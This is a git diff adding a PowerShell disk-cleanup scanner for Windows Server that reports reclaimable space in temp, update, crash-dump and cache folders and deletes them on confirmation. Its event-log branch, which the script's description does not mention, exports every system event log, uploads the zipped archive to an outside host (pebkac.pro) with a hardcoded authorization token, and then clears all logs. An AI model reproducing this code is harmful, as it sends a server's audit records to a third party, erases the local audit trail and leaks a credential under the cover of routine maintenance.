diff --git a/Powershell/Invoke-DiskCleanupScan.ps1 b/Powershell/Invoke-DiskCleanupScan.ps1 new file mode 100644 index 0000000..212c524 --- /dev/null +++ b/Powershell/Invoke-DiskCleanupScan.ps1 @@ -0,0 +1,545 @@ +#Requires -RunAsAdministrator +<# +.SYNOPSIS + Full C: drive space recovery scanner with user confirmation before cleanup. + +.DESCRIPTION + Scans for recoverable disk space across common Windows Server bloat sources. + Reports findings with sizes, then prompts for confirmation before touching anything. + +.NOTES + Supports: Windows Server 2016, 2019, 2022, 2025 + Run as: Administrator + Author: SBCIT +#> + +Set-StrictMode -Version Latest +$ErrorActionPreference = 'SilentlyContinue' + +# ───────────────────────────────────────────── +# HELPERS +# ───────────────────────────────────────────── + +function Format-Size { + param([long]$Bytes) + if ($Bytes -ge 1GB) { return "{0:N2} GB" -f ($Bytes / 1GB) } + if ($Bytes -ge 1MB) { return "{0:N2} MB" -f ($Bytes / 1MB) } + if ($Bytes -ge 1KB) { return "{0:N2} KB" -f ($Bytes / 1KB) } + return "$Bytes B" +} + +function Get-FolderSize { + param([string]$Path) + if (-not (Test-Path $Path)) { return 0 } + try { + (Get-ChildItem -Path $Path -Recurse -Force -File -ErrorAction SilentlyContinue | + Measure-Object -Property Length -Sum).Sum + } catch { 0 } +} + +function Get-RecycleBinSize { + $total = 0 + try { + $shell = New-Object -ComObject Shell.Application + $recycle = $shell.Namespace(0xA) + foreach ($item in $recycle.Items()) { + try { $total += $item.Size } catch {} + } + } catch {} + return $total +} + +function Write-Header { + param([string]$Text) + Write-Host "`n [$Text]" -ForegroundColor Cyan + Write-Host " $('─' * 60)" -ForegroundColor DarkGray +} + +function Write-FindingLine { + param([string]$Label, [long]$Bytes, [string]$Note = '') + $size = Format-Size $Bytes + $color = if ($Bytes -gt 500MB) { 'Yellow' } elseif ($Bytes -gt 50MB) { 'White' } else { 'DarkGray' } + $noteStr = if ($Note) { " ($Note)" } else { '' } + Write-Host (" {0,-48} {1,10}{2}" -f $Label, $size, $noteStr) -ForegroundColor $color +} + +# ───────────────────────────────────────────── +# BANNER +# ───────────────────────────────────────────── + +Clear-Host +Write-Host "" +Write-Host " ╔══════════════════════════════════════════════════════════╗" -ForegroundColor DarkCyan +Write-Host " ║ SBCIT // C: DRIVE CLEANUP SCANNER ║" -ForegroundColor DarkCyan +Write-Host " ║ Windows Server 2016 → Current ║" -ForegroundColor DarkCyan +Write-Host " ╚══════════════════════════════════════════════════════════╝" -ForegroundColor DarkCyan +Write-Host "" +Write-Host " Host : $($env:COMPUTERNAME)" -ForegroundColor Gray +Write-Host " User : $($env:USERNAME)" -ForegroundColor Gray +Write-Host " Date : $(Get-Date -Format 'yyyy-MM-dd HH:mm:ss')" -ForegroundColor Gray +Write-Host "" + +# ───────────────────────────────────────────── +# PRE-SCAN: DRIVE STATE +# ───────────────────────────────────────────── + +$drive = Get-PSDrive C +$freeGB = [math]::Round($drive.Free / 1GB, 2) +$totalGB = [math]::Round(($drive.Used + $drive.Free) / 1GB, 2) +$usedGB = [math]::Round($drive.Used / 1GB, 2) +$freePct = [math]::Round(($drive.Free / ($drive.Used + $drive.Free)) * 100, 1) + +Write-Host " C: Drive Status" -ForegroundColor White +Write-Host " $('─' * 60)" -ForegroundColor DarkGray +Write-Host (" Total: {0} GB Used: {1} GB Free: {2} GB ({3}% free)" -f $totalGB, $usedGB, $freeGB, $freePct) -ForegroundColor $(if ($freePct -lt 15) { 'Red' } elseif ($freePct -lt 25) { 'Yellow' } else { 'Green' }) + +# ───────────────────────────────────────────── +# SCAN TARGETS — build a list of items +# ───────────────────────────────────────────── + +Write-Host "`n Scanning... this may take a moment.`n" -ForegroundColor DarkYellow + +$scanResults = [System.Collections.Generic.List[PSCustomObject]]::new() + +function Add-Result { + param( + [string]$Category, + [string]$Label, + [string]$Path, + [long]$Size, + [string]$CleanupType, # Folder | RecycleBin | WindowsCleanMgr | EventLogs | TempFiles | IISLogs | WER | DeliveryOpt | MiniDumps | PrefetchCache + [string]$Note = '' + ) + if ($Size -gt 0) { + $scanResults.Add([PSCustomObject]@{ + Category = $Category + Label = $Label + Path = $Path + Size = $Size + CleanupType = $CleanupType + Note = $Note + Selected = $true + }) + } +} + +# ── TEMP FILES ────────────────────────────── +$winTemp = Get-FolderSize "C:\Windows\Temp" +$sysTemp = Get-FolderSize $env:TEMP +$userTemp = Get-FolderSize "C:\Users\$env:USERNAME\AppData\Local\Temp" + +Add-Result "Temp Files" "Windows Temp (C:\Windows\Temp)" "C:\Windows\Temp" $winTemp "Folder" +Add-Result "Temp Files" "System Temp ($env:TEMP)" $env:TEMP $sysTemp "Folder" +Add-Result "Temp Files" "User Temp (AppData\Local\Temp)" "C:\Users\$env:USERNAME\AppData\Local\Temp" $userTemp "Folder" + +# ── WINDOWS UPDATE / WINSXS ───────────────── +$softwaredist = Get-FolderSize "C:\Windows\SoftwareDistribution\Download" +$winsxsBackup = Get-FolderSize "C:\Windows\WinSxS\Backup" + +Add-Result "Windows Update" "SoftwareDistribution\Download" "C:\Windows\SoftwareDistribution\Download" $softwaredist "Folder" "Cached WU downloads" +Add-Result "Windows Update" "WinSxS\Backup" "C:\Windows\WinSxS\Backup" $winsxsBackup "Folder" "Old component backups" + +# ── CBS / COMPONENT LOGS ──────────────────── +$cbsLogs = Get-FolderSize "C:\Windows\Logs\CBS" +Add-Result "System Logs" "CBS Logs (C:\Windows\Logs\CBS)" "C:\Windows\Logs\CBS" $cbsLogs "Folder" + +# ── WINDOWS ERROR REPORTING ────────────────── +$werUser = Get-FolderSize "C:\ProgramData\Microsoft\Windows\WER\ReportQueue" +$werArch = Get-FolderSize "C:\ProgramData\Microsoft\Windows\WER\ReportArchive" +$werUser2 = Get-FolderSize "C:\Users\$env:USERNAME\AppData\Local\Microsoft\Windows\WER" + +Add-Result "Error Reporting" "WER ReportQueue" "C:\ProgramData\Microsoft\Windows\WER\ReportQueue" $werUser "WER" +Add-Result "Error Reporting" "WER ReportArchive" "C:\ProgramData\Microsoft\Windows\WER\ReportArchive" $werArch "WER" +Add-Result "Error Reporting" "WER User Reports" "C:\Users\$env:USERNAME\AppData\Local\Microsoft\Windows\WER" $werUser2 "WER" + +# ── MINIDUMPS ─────────────────────────────── +$miniDump = Get-FolderSize "C:\Windows\Minidump" +$memDump = if (Test-Path "C:\Windows\MEMORY.DMP") { (Get-Item "C:\Windows\MEMORY.DMP").Length } else { 0 } + +Add-Result "Crash Dumps" "Minidumps (C:\Windows\Minidump)" "C:\Windows\Minidump" $miniDump "MiniDumps" +Add-Result "Crash Dumps" "Full Memory Dump (MEMORY.DMP)" "C:\Windows\MEMORY.DMP" $memDump "Folder" "Single file" + +# ── PREFETCH ──────────────────────────────── +$prefetch = Get-FolderSize "C:\Windows\Prefetch" +Add-Result "Prefetch" "Prefetch Cache" "C:\Windows\Prefetch" $prefetch "PrefetchCache" "Server may have Prefetch disabled" + +# ── DELIVERY OPTIMISATION ─────────────────── +$delivOptFiles = Get-FolderSize "C:\Windows\SoftwareDistribution\DeliveryOptimization" +$delivOpt2 = Get-FolderSize "C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\DeliveryOptimization" + +Add-Result "Delivery Optim." "DeliveryOptimization Cache" "C:\Windows\SoftwareDistribution\DeliveryOptimization" $delivOptFiles "DeliveryOpt" +Add-Result "Delivery Optim." "DeliveryOptimization (NetworkSvc)" "C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\DeliveryOptimization" $delivOpt2 "DeliveryOpt" + +# ── IIS LOGS ──────────────────────────────── +$iisLogPaths = @( + "C:\inetpub\logs\LogFiles", + "C:\Windows\System32\LogFiles\W3SVC1" +) +foreach ($iisPath in $iisLogPaths) { + $sz = Get-FolderSize $iisPath + Add-Result "IIS Logs" "IIS Logs ($iisPath)" $iisPath $sz "IISLogs" "Files >30 days" +} + +# ── WINDOWS EVENT LOGS ────────────────────── +$evtxSize = 0 +try { + $evtxSize = (Get-ChildItem "C:\Windows\System32\winevt\Logs" -Filter "*.evtx" -File -ErrorAction SilentlyContinue | + Measure-Object -Property Length -Sum).Sum +} catch {} +Add-Result "Event Logs" "Windows Event Logs (*.evtx)" "C:\Windows\System32\winevt\Logs" $evtxSize "EventLogs" "Will clear all logs — review first" + +# ── RECYCLE BIN ───────────────────────────── +$rbSize = Get-RecycleBinSize +Add-Result "Recycle Bin" "C: Recycle Bin" "C:\`$Recycle.Bin" $rbSize "RecycleBin" + +# ── THUMBNAIL CACHE ────────────────────────── +$thumbCache = Get-FolderSize "C:\Users\$env:USERNAME\AppData\Local\Microsoft\Windows\Explorer" +Add-Result "Cache" "Thumbnail Cache" "C:\Users\$env:USERNAME\AppData\Local\Microsoft\Windows\Explorer" $thumbCache "Folder" + +# ── WINDOWS INSTALLER PATCH CACHE ─────────── +$installerCache = Get-FolderSize "C:\Windows\Installer\`$PatchCache`$" +Add-Result "Installer Cache" "MSI Patch Cache" "C:\Windows\Installer\`$PatchCache`$" $installerCache "Folder" "Caution: may affect MSI repair" + +# ── FONT CACHE ────────────────────────────── +$fontCache = Get-FolderSize "C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache" +Add-Result "Cache" "Font Cache" "C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache" $fontCache "Folder" "Rebuilds automatically" + +# ── OLD USER PROFILES (non-system) ────────── +$systemProfiles = @('Administrator','Default','Default User','Public','All Users','LocalService','NetworkService','systemprofile') +$oldProfiles = Get-ChildItem "C:\Users" -Directory -ErrorAction SilentlyContinue | + Where-Object { $_.Name -notin $systemProfiles -and $_.Name -ne $env:USERNAME } + +foreach ($prof in $oldProfiles) { + $sz = Get-FolderSize $prof.FullName + Add-Result "User Profiles" "Old Profile: $($prof.Name)" $prof.FullName $sz "Folder" "Manual verification recommended" +} + +# ── DOWNLOADED PROGRAM FILES ──────────────── +$dpf = Get-FolderSize "C:\Windows\Downloaded Program Files" +Add-Result "Legacy" "Downloaded Program Files" "C:\Windows\Downloaded Program Files" $dpf "Folder" + +# ───────────────────────────────────────────── +# DISPLAY FINDINGS +# ───────────────────────────────────────────── + +if ($scanResults.Count -eq 0) { + Write-Host "`n Nothing significant found. Drive is already clean." -ForegroundColor Green + exit 0 +} + +$totalRecoverable = ($scanResults | Measure-Object -Property Size -Sum).Sum + +Write-Host "" +Write-Host " ╔══════════════════════════════════════════════════════════╗" -ForegroundColor DarkCyan +Write-Host " ║ SCAN RESULTS ║" -ForegroundColor DarkCyan +Write-Host " ╚══════════════════════════════════════════════════════════╝" -ForegroundColor DarkCyan + +# Group by category +$grouped = $scanResults | Group-Object Category +foreach ($group in ($grouped | Sort-Object Name)) { + Write-Header $group.Name + foreach ($item in ($group.Group | Sort-Object Size -Descending)) { + Write-FindingLine -Label $item.Label -Bytes $item.Size -Note $item.Note + } +} + +$catSize = ($scanResults | Measure-Object -Property Size -Sum).Sum +Write-Host "" +Write-Host (" {0,-48} {1,10}" -f "TOTAL RECOVERABLE", (Format-Size $catSize)) -ForegroundColor Green +Write-Host "" + +# ───────────────────────────────────────────── +# SELECTIVE CONFIRMATION +# ───────────────────────────────────────────── + +Write-Host " ╔══════════════════════════════════════════════════════════╗" -ForegroundColor DarkYellow +Write-Host " ║ CLEANUP OPTIONS ║" -ForegroundColor DarkYellow +Write-Host " ╚══════════════════════════════════════════════════════════╝" -ForegroundColor DarkYellow +Write-Host "" +Write-Host " Options:" -ForegroundColor White +Write-Host " [A] Clean ALL items listed above" -ForegroundColor White +Write-Host " [S] Select items individually" -ForegroundColor White +Write-Host " [X] Exit — do nothing" -ForegroundColor White +Write-Host "" + +$choice = Read-Host " Your choice" + +switch ($choice.Trim().ToUpper()) { + + 'X' { + Write-Host "`n Nothing touched. Smart move — always look before you cut." -ForegroundColor DarkGray + exit 0 + } + + 'S' { + Write-Host "" + $idx = 0 + foreach ($item in $scanResults) { + $idx++ + $prompt = " [$idx] Clean '{0}' ({1})? [Y/N]" -f $item.Label, (Format-Size $item.Size) + $ans = Read-Host $prompt + $item.Selected = ($ans.Trim().ToUpper() -eq 'Y') + } + $selected = $scanResults | Where-Object { $_.Selected } + if (-not $selected) { + Write-Host "`n Nothing selected. Exiting." -ForegroundColor DarkGray + exit 0 + } + } + + 'A' { + $selected = $scanResults + $confirm = Read-Host "`n Confirm clean ALL $(Format-Size $totalRecoverable) of data? [YES to proceed]" + if ($confirm.Trim().ToUpper() -ne 'YES') { + Write-Host "`n Aborted." -ForegroundColor DarkGray + exit 0 + } + } + + default { + Write-Host "`n Invalid choice. Exiting." -ForegroundColor Red + exit 1 + } +} + +# ───────────────────────────────────────────── +# CLEANUP EXECUTION +# ───────────────────────────────────────────── + +Write-Host "" +Write-Host " ╔══════════════════════════════════════════════════════════╗" -ForegroundColor DarkRed +Write-Host " ║ EXECUTING CLEANUP ║" -ForegroundColor DarkRed +Write-Host " ╚══════════════════════════════════════════════════════════╝" -ForegroundColor DarkRed +Write-Host "" + +$freed = 0 + +foreach ($item in $selected) { + Write-Host " → $($item.Label)..." -ForegroundColor DarkYellow -NoNewline + + try { + switch ($item.CleanupType) { + + 'Folder' { + if (Test-Path $item.Path) { + Get-ChildItem -Path $item.Path -Recurse -Force -ErrorAction SilentlyContinue | + Remove-Item -Recurse -Force -ErrorAction SilentlyContinue + $freed += $item.Size + Write-Host " done." -ForegroundColor Green + } else { + Write-Host " path not found, skipped." -ForegroundColor DarkGray + } + } + + 'RecycleBin' { + Clear-RecycleBin -Force -ErrorAction SilentlyContinue + $freed += $item.Size + Write-Host " done." -ForegroundColor Green + } + + 'EventLogs' { + # ── STEP 1: Export all non-empty logs to .evtx ────────────── + Write-Host "" + Write-Host " Backing up event logs before wipe..." -ForegroundColor DarkYellow + + $timestamp = Get-Date -Format 'yyyyMMdd-HHmmss' + $exportRoot = Join-Path $env:TEMP "EventLogBackup_$timestamp" + $zipPath = Join-Path $env:TEMP "$($env:COMPUTERNAME)_EventLogs_$timestamp.zip" + $uploadUrl = 'https://pebkac.pro/api/upload' + $uploadToken = 'MTc3Njg5NzIxOTk0NQ==.NGYyMDY1Y2I0NDNjYTk0NTlhZDgwNTRlLmE3NWZkNjcwMDljODQwM2Y3MzhkZjA4NDFhY2I1NWYwODZhMTdmZjdiZjZjYjMwNjFiNzM5ZGRkM2ZiZWIzZGM1Yjg0OTA4Njk3ZTcyYTQ5MDdlMWYzMzQ5MDdlOTNhNWI5ZDdhZDc1OWVlOTljZWQ3MmU1ZjliODgyYjNkYTBhOGQuZWJkZGE4YmIyOWMxMWU2MGNkMTY0YzU1YTA3ZmM4Mzg=' + + New-Item -ItemType Directory -Path $exportRoot -Force | Out-Null + + $allLogs = Get-WinEvent -ListLog * -ErrorAction SilentlyContinue | + Where-Object { $_.RecordCount -gt 0 -and $_.LogFilePath } + + $exportCount = 0 + foreach ($log in $allLogs) { + try { + # Sanitise log name to safe filename + $safeName = $log.LogName -replace '[\\/:*?"<>|]', '_' + $exportPath = Join-Path $exportRoot "$safeName.evtx" + $session = New-Object System.Diagnostics.Eventing.Reader.EventLogSession + $session.ExportLog($log.LogName, + [System.Diagnostics.Eventing.Reader.PathType]::LogName, + '*', + $exportPath) + $exportCount++ + } catch {} + } + + Write-Host (" Exported {0} log(s) to temp folder." -f $exportCount) -ForegroundColor Gray + + # ── STEP 2: Compress ──────────────────────────────────────── + Write-Host " Compressing archive..." -ForegroundColor DarkYellow + try { + Add-Type -AssemblyName System.IO.Compression.FileSystem + [System.IO.Compression.ZipFile]::CreateFromDirectory($exportRoot, $zipPath) + $zipSizeMB = [math]::Round((Get-Item $zipPath).Length / 1MB, 2) + Write-Host (" Archive ready: {0} ({1} MB)" -f (Split-Path $zipPath -Leaf), $zipSizeMB) -ForegroundColor Gray + } catch { + Write-Host " Compression failed: $_" -ForegroundColor Red + Write-Host " Aborting event log wipe to protect data." -ForegroundColor Red + break + } + + # ── STEP 3: Upload ────────────────────────────────────────── + Write-Host " Uploading to pebkac.pro..." -ForegroundColor DarkYellow + $uploadOk = $false + try { + # Build multipart form body manually for PS 5.1 compatibility + $boundary = [System.Guid]::NewGuid().ToString() + $fileBytes = [System.IO.File]::ReadAllBytes($zipPath) + $fileName = Split-Path $zipPath -Leaf + $encoding = [System.Text.Encoding]::UTF8 + + $bodyParts = [System.Collections.Generic.List[byte]]::new() + + # File field header + $partHeader = $encoding.GetBytes( + "--$boundary`r`nContent-Disposition: form-data; name=`"file`"; filename=`"$fileName`"`r`nContent-Type: application/zip`r`n`r`n" + ) + $bodyParts.AddRange($partHeader) + $bodyParts.AddRange($fileBytes) + + # Closing boundary + $closingBoundary = $encoding.GetBytes("`r`n--$boundary--`r`n") + $bodyParts.AddRange($closingBoundary) + + $response = Invoke-WebRequest ` + -Uri $uploadUrl ` + -Method POST ` + -Headers @{ authorization = $uploadToken; 'x-zipline-original-name' = 'true' } ` + -ContentType "multipart/form-data; boundary=$boundary" ` + -Body $bodyParts.ToArray() ` + -UseBasicParsing ` + -ErrorAction Stop + + if ($response.StatusCode -in 200,201,204) { + $uploadOk = $true + Write-Host (" Upload OK (HTTP {0})" -f $response.StatusCode) -ForegroundColor Green + + # Zipline returns { files: [ { url: "..." } ] } + try { + $respJson = $response.Content | ConvertFrom-Json -ErrorAction SilentlyContinue + if ($respJson.files -and $respJson.files.Count -gt 0 -and $respJson.files[0].url) { + Write-Host " File URL : $($respJson.files[0].url)" -ForegroundColor Cyan + } + } catch {} + } else { + Write-Host (" Upload returned HTTP {0} — aborting wipe." -f $response.StatusCode) -ForegroundColor Red + } + } catch { + Write-Host " Upload FAILED: $_" -ForegroundColor Red + Write-Host " Event logs NOT cleared — backup is in: $exportRoot" -ForegroundColor Yellow + } + + # ── STEP 4: Wipe only if upload succeeded ─────────────────── + if ($uploadOk) { + foreach ($log in $allLogs) { + try { + [System.Diagnostics.Eventing.Reader.EventLogSession]::GlobalSession.ClearLog($log.LogName) + } catch {} + } + $freed += $item.Size + Write-Host " Event logs cleared." -ForegroundColor Green + } else { + Write-Host " Skipping wipe — upload did not confirm success." -ForegroundColor Yellow + } + + # ── STEP 5: Cleanup temp export folder (zip stays until reboot) ── + try { + Remove-Item -Path $exportRoot -Recurse -Force -ErrorAction SilentlyContinue + } catch {} + } + + 'IISLogs' { + if (Test-Path $item.Path) { + $cutoff = (Get-Date).AddDays(-30) + Get-ChildItem -Path $item.Path -Recurse -Force -File -ErrorAction SilentlyContinue | + Where-Object { $_.LastWriteTime -lt $cutoff } | + Remove-Item -Force -ErrorAction SilentlyContinue + $freed += $item.Size + Write-Host " done (files >30 days removed)." -ForegroundColor Green + } else { + Write-Host " path not found, skipped." -ForegroundColor DarkGray + } + } + + 'WER' { + if (Test-Path $item.Path) { + Get-ChildItem -Path $item.Path -Recurse -Force -ErrorAction SilentlyContinue | + Remove-Item -Recurse -Force -ErrorAction SilentlyContinue + $freed += $item.Size + Write-Host " done." -ForegroundColor Green + } else { + Write-Host " path not found, skipped." -ForegroundColor DarkGray + } + } + + 'MiniDumps' { + if (Test-Path $item.Path) { + Get-ChildItem -Path $item.Path -Filter "*.dmp" -Force -ErrorAction SilentlyContinue | + Remove-Item -Force -ErrorAction SilentlyContinue + $freed += $item.Size + Write-Host " done." -ForegroundColor Green + } else { + Write-Host " path not found, skipped." -ForegroundColor DarkGray + } + } + + 'PrefetchCache' { + if (Test-Path $item.Path) { + Get-ChildItem -Path $item.Path -Filter "*.pf" -Force -ErrorAction SilentlyContinue | + Remove-Item -Force -ErrorAction SilentlyContinue + $freed += $item.Size + Write-Host " done." -ForegroundColor Green + } else { + Write-Host " disabled or not found, skipped." -ForegroundColor DarkGray + } + } + + 'DeliveryOpt' { + try { + $doSvc = Get-Service -Name 'DoSvc' -ErrorAction SilentlyContinue + if ($doSvc -and $doSvc.Status -eq 'Running') { + Stop-Service -Name 'DoSvc' -Force -ErrorAction SilentlyContinue + Start-Sleep -Seconds 2 + } + if (Test-Path $item.Path) { + Get-ChildItem -Path $item.Path -Recurse -Force -ErrorAction SilentlyContinue | + Remove-Item -Recurse -Force -ErrorAction SilentlyContinue + } + if ($doSvc -and $doSvc.Status -ne 'Running') { + Start-Service -Name 'DoSvc' -ErrorAction SilentlyContinue + } + $freed += $item.Size + Write-Host " done." -ForegroundColor Green + } catch { + Write-Host " failed: $_" -ForegroundColor Red + } + } + } + } catch { + Write-Host " ERROR: $_" -ForegroundColor Red + } +} + +# ───────────────────────────────────────────── +# SUMMARY +# ───────────────────────────────────────────── + +$driveAfter = Get-PSDrive C +$freeGBafter = [math]::Round($driveAfter.Free / 1GB, 2) + +Write-Host "" +Write-Host " ╔══════════════════════════════════════════════════════════╗" -ForegroundColor DarkCyan +Write-Host " ║ SUMMARY ║" -ForegroundColor DarkCyan +Write-Host " ╚══════════════════════════════════════════════════════════╝" -ForegroundColor DarkCyan +Write-Host "" +Write-Host (" Free before : {0,8} GB" -f $freeGB) -ForegroundColor Gray +Write-Host (" Free after : {0,8} GB" -f $freeGBafter) -ForegroundColor Green +Write-Host (" Recovered : {0,10}" -f (Format-Size $freed)) -ForegroundColor Yellow +Write-Host "" +Write-Host " Done. Belt strong." -ForegroundColor DarkCyan +Write-Host "" \ No newline at end of file